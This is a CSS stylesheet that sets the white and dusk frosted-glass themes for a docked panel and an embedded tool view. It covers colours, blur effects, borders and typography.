.dshp-dock-tab.on{color:var(--dsw-alias-label-primary,var(--dshp-ink,#f2f2f2));font-weight:600;border-bottom-color:var(--dsw-alias-brand-primary,#6dbf8c);background:transparent}
|
||||
.dshp-dock-body{flex:1;min-height:0;overflow:hidden;display:flex;flex-direction:column;background:transparent;border-radius:0 0 12px 12px}
|
||||
.dshp-dock-body .dshp-root{max-width:none;height:100%;flex:1;min-height:0;overflow:auto;background:transparent!important;--dshp-bg:transparent;--dshp-paper:color-mix(in srgb,var(--dshp-ink) 7%,transparent);--dshp-fill:color-mix(in srgb,var(--dshp-ink) 6%,transparent);--dshp-line:color-mix(in srgb,var(--dshp-ink) 20%,transparent);--dshp-accent-soft:color-mix(in srgb,var(--dshp-accent) 22%,transparent)}
|
||||
.dshp-dock-body .dshp-root[data-theme="white"]{--dshp-ink:#1a1916;--dshp-mute:#534e46;--dshp-ok:#1f5c38;--dshp-warn:#8a5a12;--dshp-bad:#9a3434;--dshp-paper:#fffcf7;--dshp-fill:#ebe7df;--dshp-line:#d0caba;--dshp-accent:#3f6b52;--dshp-accent-soft:#d7e6dc;--dshp-bg:#f4f2ec}
|
||||
.dshp-dock-body .dshp-root[data-theme="dusk"]{--dshp-ink:#f4f1ea;--dshp-mute:#c9c3b8;--dshp-ok:#9fd0ad;--dshp-warn:#e0c08a;--dshp-bad:#e0b0b0;--dshp-paper:#32312d;--dshp-fill:#353430;--dshp-line:#4a4740;--dshp-accent:#9bb5a6;--dshp-accent-soft:#3a433d;--dshp-bg:#2a2926}
|
||||
.dshp-dock-body .dshp-panel,.dshp-dock-body .dshp-metric,.dshp-dock-body .dshp-group,.dshp-dock-body .dshp-editor,.dshp-dock-body .dshp-active,.dshp-dock-body .dshp-ask,.dshp-dock-body .dshp-create,.dshp-dock-body .dshp-switch{background:color-mix(in srgb,var(--dshp-ink) 6%,transparent)!important;backdrop-filter:blur(12px);-webkit-backdrop-filter:blur(12px)}
|
||||
.dshp-dock-body .dshp-root[data-theme="white"] .dshp-panel,.dshp-dock-body .dshp-root[data-theme="white"] .dshp-metric,.dshp-dock-body .dshp-root[data-theme="white"] .dshp-group,.dshp-dock-body .dshp-root[data-theme="white"] .dshp-editor,.dshp-dock-body .dshp-root[data-theme="white"] .dshp-active,.dshp-dock-body .dshp-root[data-theme="white"] .dshp-ask,.dshp-dock-body .dshp-root[data-theme="white"] .dshp-create,.dshp-dock-body .dshp-root[data-theme="white"] .dshp-switch,.dshp-dock-body .dshp-root[data-theme="white"] .dshp-rulelist,.dshp-dock-body .dshp-root[data-theme="white"] .dshp-table,.dshp-dock-body .dshp-root[data-theme="white"] .dshp-ruleitem{background:color-mix(in srgb,#fffdf8 76%,transparent)!important;backdrop-filter:blur(16px) saturate(1.2)!important;-webkit-backdrop-filter:blur(16px) saturate(1.2)!important;border-color:#d0caba!important;color:#1a1916!important}
|
||||
.dshp-dock-body .dshp-root[data-theme="dusk"] .dshp-panel,.dshp-dock-body .dshp-root[data-theme="dusk"] .dshp-metric,.dshp-dock-body .dshp-root[data-theme="dusk"] .dshp-group,.dshp-dock-body .dshp-root[data-theme="dusk"] .dshp-editor,.dshp-dock-body .dshp-root[data-theme="dusk"] .dshp-active,.dshp-dock-body .dshp-root[data-theme="dusk"] .dshp-ask,.dshp-dock-body .dshp-root[data-theme="dusk"] .dshp-create,.dshp-dock-body .dshp-root[data-theme="dusk"] .dshp-switch,.dshp-dock-body .dshp-root[data-theme="dusk"] .dshp-rulelist,.dshp-dock-body .dshp-root[data-theme="dusk"] .dshp-table,.dshp-dock-body .dshp-root[data-theme="dusk"] .dshp-ruleitem{background:color-mix(in srgb,#161513 70%,transparent)!important;backdrop-filter:blur(16px) saturate(1.2)!important;-webkit-backdrop-filter:blur(16px) saturate(1.2)!important;border-color:#4a4740!important;color:#f4f1ea!important}
|
||||
.dshp-dock-body .dshp-field,.dshp-dock-body .dshp-area{background:color-mix(in srgb,var(--dshp-ink) 8%,transparent);color:var(--dshp-ink);backdrop-filter:blur(8px);-webkit-backdrop-filter:blur(8px)}
|
||||
.dshp-dock-body .dshp-root[data-theme="white"] .dshp-field,.dshp-dock-body .dshp-root[data-theme="white"] .dshp-area{background:color-mix(in srgb,#fff 84%,transparent)!important;color:#16140f!important;border-color:#b7b0a3!important;backdrop-filter:blur(16px) saturate(1.2)!important;-webkit-backdrop-filter:blur(16px) saturate(1.2)!important}
|
||||
.dshp-dock-body .dshp-root[data-theme="dusk"] .dshp-field,.dshp-dock-body .dshp-root[data-theme="dusk"] .dshp-area{background:color-mix(in srgb,#0e0d0c 80%,transparent)!important;color:#f7f4ee!important;border-color:color-mix(in srgb,#fff 28%,transparent)!important;backdrop-filter:blur(16px) saturate(1.2)!important;-webkit-backdrop-filter:blur(16px) saturate(1.2)!important}
|
||||
.dshp-dock-body select.dshp-field,.dshp-dock-body .dshp-field.dshp-ver{background:var(--dshp-paper,#2a2926)!important;color:var(--dshp-ink)!important;backdrop-filter:blur(16px) saturate(1.2)!important;-webkit-backdrop-filter:blur(16px) saturate(1.2)!important;color-scheme:dark}
|
||||
.dshp-dock-body .dshp-root[data-theme="white"] select.dshp-field,.dshp-dock-body .dshp-root[data-theme="white"] .dshp-field.dshp-ver{background:#fff!important;color:#1a1916!important;color-scheme:light}
|
||||
.dshp-dock-body .dshp-root[data-theme="dusk"] select.dshp-field,.dshp-dock-body .dshp-root[data-theme="dusk"] .dshp-field.dshp-ver{background:#32312d!important;color:#e6e2db!important;color-scheme:dark}
|
||||
.dshp-dock-body select.dshp-field option,.dshp-dock-body .dshp-field.dshp-ver option{background:#fff;color:#1a1916}
|
||||
.dshp-dock-body .dshp-root[data-theme="white"] select.dshp-field option,.dshp-dock-body .dshp-root[data-theme="white"] .dshp-field.dshp-ver option{background:#fff;color:#1a1916}
|
||||
.dshp-dock-body .dshp-title,.dshp-dock-body .dshp-kicker,.dshp-dock-body .dshp-sub h4,.dshp-dock-body .dshp-group-h strong,.dshp-dock-body .dshp-metric b{color:var(--dshp-ink)}
|
||||
.dshp-dock-body .dshp-mute,.dshp-dock-body .dshp-metric span,.dshp-dock-body .dshp-group-h em,.dshp-dock-body .dshp-count,.dshp-dock-body .dshp-rule-meta{color:var(--dshp-mute)}
|
||||
.dshp-dock-body .rt-dock{position:relative;inset:auto;width:100%!important;height:100%;max-width:none!important;flex:1;min-height:0;min-width:0;display:flex!important;flex-direction:column;box-shadow:none;border:0;transform:none!important;opacity:1!important;pointer-events:auto!important;background:transparent!important;color:var(--dsw-alias-label-primary,#f4f2ec);font-size:13.5px;line-height:1.55;font-weight:450;--rt-ink:var(--dsw-alias-label-primary,#f4f2ec);--rt-mute:var(--dsw-alias-label-secondary,#d2ccc0);--rt-surf:color-mix(in srgb,var(--dsw-alias-bg-layer-2,#2a2a2a) 42%,transparent);--rt-surf-2:color-mix(in srgb,var(--dsw-alias-bg-layer-1,#1c1c1c) 55%,transparent);--rt-line:color-mix(in srgb,var(--dsw-alias-border-l1,#555) 72%,transparent)}
|
||||
.dshp-dock-body .dshp-panel,.dshp-dock-body .dshp-metric,.dshp-dock-body .dshp-group,.dshp-dock-body .dshp-editor,.dshp-dock-body .dshp-active,.dshp-dock-body .dshp-ask,.dshp-dock-body .dshp-create,.dshp-dock-body .dshp-rulelist,.dshp-dock-body .dshp-table,.dshp-dock-body .dshp-ruleitem{background:color-mix(in srgb,var(--dsw-alias-bg-layer-1,#f7f4ee) 74%,transparent)!important;border-color:color-mix(in srgb,var(--dsw-alias-brand-primary,#6d8f78) 32%,transparent)!important;color:var(--dshp-ink)!important;box-shadow:inset 0 1px 0 color-mix(in srgb,#fff 32%,transparent);backdrop-filter:blur(16px) saturate(1.3);-webkit-backdrop-filter:blur(16px) saturate(1.3)}
|
||||
.dshp-dock-body .dshp-field,.dshp-dock-body .dshp-area{background:color-mix(in srgb,var(--dsw-alias-bg-layer-1,#fff) 88%,transparent)!important;color:var(--dshp-ink)!important;border-color:color-mix(in srgb,var(--dsw-alias-border-l1,#8a8478) 72%,transparent)!important}
|
||||
.dshp-dock-body select.dshp-field,.dshp-dock-body .dshp-field.dshp-ver{background:var(--dsw-alias-bg-layer-1,#fff)!important;color:var(--dshp-ink)!important;color-scheme:inherit}
|
||||
.dshp-dock[data-theme="white"] select.dshp-field option,.dshp-dock[data-theme="white"] .dshp-field.dshp-ver option{background:#fff;color:#16140f}
|
||||
.dshp-dock[data-theme="dusk"] select.dshp-field option,.dshp-dock[data-theme="dusk"] .dshp-field.dshp-ver option{background:#1b1d22;color:#f4f1ea}
|
||||
.dshp-dock-body .dshp-title,.dshp-dock-body .dshp-sub h4,.dshp-dock-body .dshp-group-h strong,.dshp-dock-body .dshp-metric b,.dshp-dock-body .dshp-rule-name{font-family:inherit;font-weight:650;letter-spacing:0;color:var(--dshp-ink)!important;text-shadow:none}
|
||||
.dshp-dock-body .dshp-mute,.dshp-dock-body .dshp-kicker,.dshp-dock-body .dshp-metric span,.dshp-dock-body .dshp-group-h em,.dshp-dock-body .dshp-count,.dshp-dock-body .dshp-rule-meta,.dshp-dock-body .dshp-hint{color:var(--dshp-mute)!important;font-weight:500;text-shadow:none}
|
||||
.dshp-dock-body .rt-dock{position:relative;inset:auto;width:100%!important;height:100%;max-width:none!important;flex:1;min-height:0;min-width:0;display:flex!important;flex-direction:column;box-shadow:none;border:0;transform:none!important;opacity:1!important;pointer-events:auto!important;background:transparent!important}
|
||||
.dshp-dock-body .rt-grip{display:none!important}
|
||||
.dshp-dock-body .rt-embedded>.rt-head,.dshp-dock-body .rt-tabs,.dshp-dock-body .rt-foot{flex:none;background:color-mix(in srgb,var(--dsw-alias-bg-layer-1,#1c1c1c) 38%,transparent)!important;color:var(--rt-ink);border-color:var(--rt-line)}
|
||||
.dshp-dock-body .rt-body{flex:1;min-height:0;overflow:hidden!important;background:transparent!important;color:var(--rt-ink)}
|
||||
.dshp-dock-body .rt-embedded>.rt-head,.dshp-dock-body .rt-tabs,.dshp-dock-body .rt-foot{flex:none}
|
||||
.dshp-dock-body .rt-body{flex:1;min-height:0;overflow:hidden!important;background:transparent!important}
|
||||
.dshp-dock-body .rt-main{min-height:0;flex:1;overflow:hidden}
|
||||
.dshp-dock-body .rt-pane{min-height:0;overflow:auto!important}
|
||||
.dshp-dock-body .rt-card,.dshp-dock-body .rt-pane,.dshp-dock-body .rt-side,.dshp-dock-body .rt-main,.dshp-dock-body .rt-list,.dshp-dock-body .rt-toolbar,.dshp-dock-body .rt-evi,.dshp-dock-body .rt-live-body,.dshp-dock-body .rt-chain,.dshp-dock-body .rt-split,.dshp-dock-body .rt-table{background:var(--rt-surf)!important;color:var(--rt-ink)!important;border:1px solid var(--rt-line);backdrop-filter:blur(14px) saturate(1.2);-webkit-backdrop-filter:blur(14px) saturate(1.2)}
|
||||
.dshp-dock-body .rt-title,.dshp-dock-body .rt-tab.on,.dshp-dock-body .rt-card h4,.dshp-dock-body .rt-kv b,.dshp-dock-body .rt-mono,.dshp-dock-body .rt-row,.dshp-dock-body .rt-item,.dshp-dock-body .rt-item-name,.dshp-dock-body .rt-seg-cidr,.dshp-dock-body .rt-vrow,.dshp-dock-body .rt-score-row,.dshp-dock-body h4,.dshp-dock-body .rt-link,.dshp-dock-body .rt-toolbar>span{color:var(--rt-ink)!important;text-shadow:none;font-weight:600}
|
||||
.dshp-dock-body .rt-tab,.dshp-dock-body .rt-foot,.dshp-dock-body .rt-empty,.dshp-dock-body .rt-item-desc,.dshp-dock-body .rt-kb-sub,.dshp-dock-body .rt-seg-meta,.dshp-dock-body .rt-expand,.dshp-dock-body .rt-kv span,.dshp-dock-body .rt-tag,.dshp-dock-body .rt-sess-fact>b,.dshp-dock-body .rt-sess-cmd>b,.dshp-dock-body .rt-sess-fold>summary,.dshp-dock-body .rt-score-group .rt-sg-sub,.dshp-dock-body .rt-scope,.dshp-dock-body .rt-flow-action,.dshp-dock-body .rt-sec-sub{color:var(--rt-mute)!important;text-shadow:none;opacity:1!important}
|
||||
.dshp-dock-body .rt-row.head,.dshp-dock-body .rt-vrow.head,.dshp-dock-body .rt-score-row.head,.dshp-dock-body .rt-table thead,.dshp-dock-body .rt-row.head:hover{background:var(--rt-surf-2)!important;color:var(--rt-mute)!important}
|
||||
.dshp-dock-body .rt-row:hover,.dshp-dock-body .rt-item:hover,.dshp-dock-body .rt-item.on,.dshp-dock-body .rt-seg:hover,.dshp-dock-body .rt-seg.on,.dshp-dock-body .rt-vrow:hover,.dshp-dock-body .rt-score-row:hover{background:var(--rt-surf-2)!important}
|
||||
.dshp-dock-body .rt-embedded>.rt-head{padding:8px 12px}
|
||||
.dshp-dock-body .rt-embedded>.rt-head .rt-title{font-size:14px;letter-spacing:.01em}
|
||||
.dshp-dock-body .rt-embedded>.rt-head .rt-title{font-size:14px;letter-spacing:0}
|
||||
.dshp-dock-body .rt-tabs{gap:2px;padding:6px 10px 0;flex-wrap:wrap}
|
||||
.dshp-dock-body .rt-tab{border-radius:0;border-bottom:2px solid transparent;margin-bottom:-1px;padding:8px 9px 7px;background:transparent;font-size:12.5px}
|
||||
.dshp-dock-body .rt-tab.on{border-bottom-color:var(--dsw-alias-brand-primary,#6dbf8c);background:transparent;font-weight:700}
|
||||
.dshp-dock-body .rt-btn,.dshp-dock-body .rt-input,.dshp-dock-body textarea.rt-input,.dshp-dock-body select.rt-input{background:color-mix(in srgb,#111 72%,transparent)!important;border-color:var(--rt-line)!important;color:var(--rt-ink)!important;backdrop-filter:none;-webkit-backdrop-filter:none}
|
||||
.dshp-dock-body .rt-btn-primary{background:color-mix(in srgb,var(--dsw-alias-brand-primary,#6dbf8c) 82%,#000)!important;border-color:var(--dsw-alias-brand-primary,#6dbf8c)!important;color:#fff!important}
|
||||
.dshp-dock-body .rt-eng-select{background:color-mix(in srgb,#111 72%,transparent)!important;color:var(--rt-ink)!important;border:1px solid var(--rt-line)!important}
|
||||
.dshp-dock-body .rt-eng-select option,.dshp-dock-body .rt-input option{background:#1c1c1c;color:#f2f2f2}
|
||||
.dshp-dock-body .rt-err{color:#ffb4b4!important;font-weight:600}
|
||||
.dshp-dock-body .rt-rep-http,.dshp-dock-body pre{background:color-mix(in srgb,#000 55%,transparent)!important;color:var(--rt-ink)!important;border:1px solid var(--rt-line)}
|
||||
/* 白玻璃:深色字压在偏白的半透明底上,宿主深浅都不能把它刷回实底。 */
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]){background:color-mix(in srgb,#fffdf8 78%,transparent)!important;backdrop-filter:blur(18px) saturate(1.25)!important;-webkit-backdrop-filter:blur(18px) saturate(1.25)!important;border:1px solid color-mix(in srgb,#3c362e 32%,transparent)!important;box-shadow:0 14px 36px rgba(26,25,22,.16)!important;color:#14120e!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-head,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-tabs{background:color-mix(in srgb,#fffdf8 58%,transparent)!important;border-bottom-color:color-mix(in srgb,#3c362e 28%,transparent)!important;color:#14120e!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-head b,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-head button{color:#14120e!important;text-shadow:0 1px 0 rgba(255,255,255,.45)!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-head button{background:color-mix(in srgb,#fff 82%,transparent)!important;border-color:color-mix(in srgb,#3c362e 28%,transparent)!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-tab{color:#3c362e!important;text-shadow:none!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-tab:hover,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-tab.on{color:#14120e!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body{background:transparent!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-root{background:transparent!important;--dshp-bg:transparent;--dshp-paper:color-mix(in srgb,#fffdf8 72%,transparent);--dshp-fill:color-mix(in srgb,#14120e 8%,transparent);--dshp-ink:#14120e;--dshp-mute:#3c362e;--dshp-line:color-mix(in srgb,#3c362e 28%,transparent);--dshp-accent:#2f5a42;--dshp-accent-soft:color-mix(in srgb,#d7e6dc 70%,transparent)}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-panel,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-metric,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-group,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-editor,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-active,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-ask,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-create,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-switch,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-rulelist{background:color-mix(in srgb,#fffdf8 70%,transparent)!important;backdrop-filter:blur(14px) saturate(1.2)!important;-webkit-backdrop-filter:blur(14px) saturate(1.2)!important;border-color:color-mix(in srgb,#3c362e 26%,transparent)!important;color:#14120e!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-field,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-area{background:color-mix(in srgb,#fff 88%,transparent)!important;color:#14120e!important;border-color:color-mix(in srgb,#3c362e 34%,transparent)!important;backdrop-filter:blur(12px)!important;-webkit-backdrop-filter:blur(12px)!important;color-scheme:light}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-title,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-sub h4,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-group-h strong,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-metric b,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-btn,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-rule-name{color:#14120e!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-mute,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-kicker,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-metric span,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-group-h em,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-count,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-rule-meta,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .dshp-hint{color:#3c362e!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-dock{--rt-ink:#14120e;--rt-mute:#3c362e;--rt-surf:color-mix(in srgb,#fffdf8 70%,transparent);--rt-surf-2:color-mix(in srgb,#fffdf8 82%,transparent);--rt-line:color-mix(in srgb,#3c362e 28%,transparent);color:#14120e!important;background:transparent!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-embedded>.rt-head,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-tabs,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-foot{background:color-mix(in srgb,#fffdf8 62%,transparent)!important;border-color:color-mix(in srgb,#3c362e 26%,transparent)!important;color:#14120e!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-body{background:transparent!important;color:#14120e!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-card,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-pane,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-side,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-main,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-list,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-toolbar,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-evi,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-live-body,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-chain,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-split,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-table{background:color-mix(in srgb,#fffdf8 68%,transparent)!important;color:#14120e!important;border:1px solid color-mix(in srgb,#3c362e 26%,transparent)!important;backdrop-filter:blur(14px) saturate(1.2)!important;-webkit-backdrop-filter:blur(14px) saturate(1.2)!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-title,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-card h4,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-item-name,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-tab.on,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-kv b,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-mono,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-row,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-item,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body h4,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-link,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-toolbar>span{text-shadow:none!important;color:#14120e!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-tab,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-foot,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-empty,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-item-desc,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-kb-sub,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-kv span,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-tag,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-sec-sub{color:#3c362e!important;opacity:1!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-row.head,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-vrow.head,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-score-row.head,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-table thead{background:color-mix(in srgb,#fff 80%,transparent)!important;color:#3c362e!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-row:hover,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-item:hover,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-item.on,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-seg:hover,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-seg.on{background:color-mix(in srgb,#fff 74%,transparent)!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-btn,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-input,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body textarea.rt-input,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-eng-select{background:color-mix(in srgb,#fff 88%,transparent)!important;color:#14120e!important;border:1px solid color-mix(in srgb,#3c362e 34%,transparent)!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-eng-select option,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-input option{background:#fff;color:#14120e}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-err{color:#9a3434!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-btn-primary{background:#3f6b52!important;border-color:#3f6b52!important;color:#fff!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body .rt-rep-http,body .dshp-dock:has(.dshp-root[data-theme="white"]) .dshp-dock-body pre{background:color-mix(in srgb,#fff 84%,transparent)!important;color:#14120e!important;border:1px solid color-mix(in srgb,#3c362e 28%,transparent)!important}
|
||||
body:not([data-ds-dark-theme]) .dshp-auth-modal{background:#fffcf7;color:#1a1916;border-color:#c9c3b6}
|
||||
body:not([data-ds-dark-theme]) .dshp-auth-legal{background:#f3f0e8;color:#1a1916;border-color:#c9c3b6}
|
||||
body:not([data-ds-dark-theme]) .dshp-auth-warn{background:#f5e6c8;color:#6b4a10}
|
||||
body:not([data-ds-dark-theme]) .dshp-auth-ops button{border-color:#c9c3b6;color:#1a1916;background:#fff}
|
||||
body:not([data-ds-dark-theme]) .dshp-auth-ops button.primary{background:#3f6b52;border-color:#3f6b52;color:#fff}
|
||||
body:not([data-ds-dark-theme]) .dshp-hero-chip-btn,body:not([data-ds-dark-theme]) .dshp-hbtn{color:#1a1916;border-color:#3f6b52;background:#d7e6dc}
|
||||
body:not([data-ds-dark-theme]) .dshp-hero-chip-btn:hover,body:not([data-ds-dark-theme]) .dshp-hbtn:hover{background:#c5dacd;color:#1a1916}
|
||||
/* 墨玻璃:浅色字压在偏黑的半透明底上。下拉选项保持实底,系统菜单不参与模糊。 */
|
||||
body .dshp-dock:has(.dshp-root[data-theme="dusk"]){background:color-mix(in srgb,#100e0c 76%,transparent)!important;backdrop-filter:blur(18px) saturate(1.2)!important;-webkit-backdrop-filter:blur(18px) saturate(1.2)!important;border:1px solid color-mix(in srgb,#fff 22%,transparent)!important;box-shadow:0 18px 48px rgba(0,0,0,.42)!important;color:#f7f4ee!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-head,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-tabs{background:color-mix(in srgb,#161410 52%,transparent)!important;border-bottom-color:color-mix(in srgb,#fff 18%,transparent)!important;color:#f7f4ee!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-head b,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-head button{color:#f7f4ee!important;text-shadow:0 1px 2px rgba(0,0,0,.65)!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-head button{background:color-mix(in srgb,#0c0b09 70%,transparent)!important;border-color:color-mix(in srgb,#fff 22%,transparent)!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-tab{color:#e6dfd2!important;text-shadow:0 1px 2px rgba(0,0,0,.55)!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-tab:hover,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-tab.on{color:#f7f4ee!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body{background:transparent!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-root{background:transparent!important;--dshp-bg:transparent;--dshp-paper:color-mix(in srgb,#161410 68%,transparent);--dshp-fill:color-mix(in srgb,#fff 8%,transparent);--dshp-ink:#f7f4ee;--dshp-mute:#e6dfd2;--dshp-line:color-mix(in srgb,#fff 20%,transparent);--dshp-accent:#b7d0c2;--dshp-accent-soft:color-mix(in srgb,#3a433d 70%,transparent)}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-panel,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-metric,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-group,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-editor,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-active,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-ask,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-create,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-switch,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-rulelist{background:color-mix(in srgb,#161410 64%,transparent)!important;backdrop-filter:blur(14px) saturate(1.15)!important;-webkit-backdrop-filter:blur(14px) saturate(1.15)!important;border-color:color-mix(in srgb,#fff 18%,transparent)!important;color:#f7f4ee!important}
|
||||
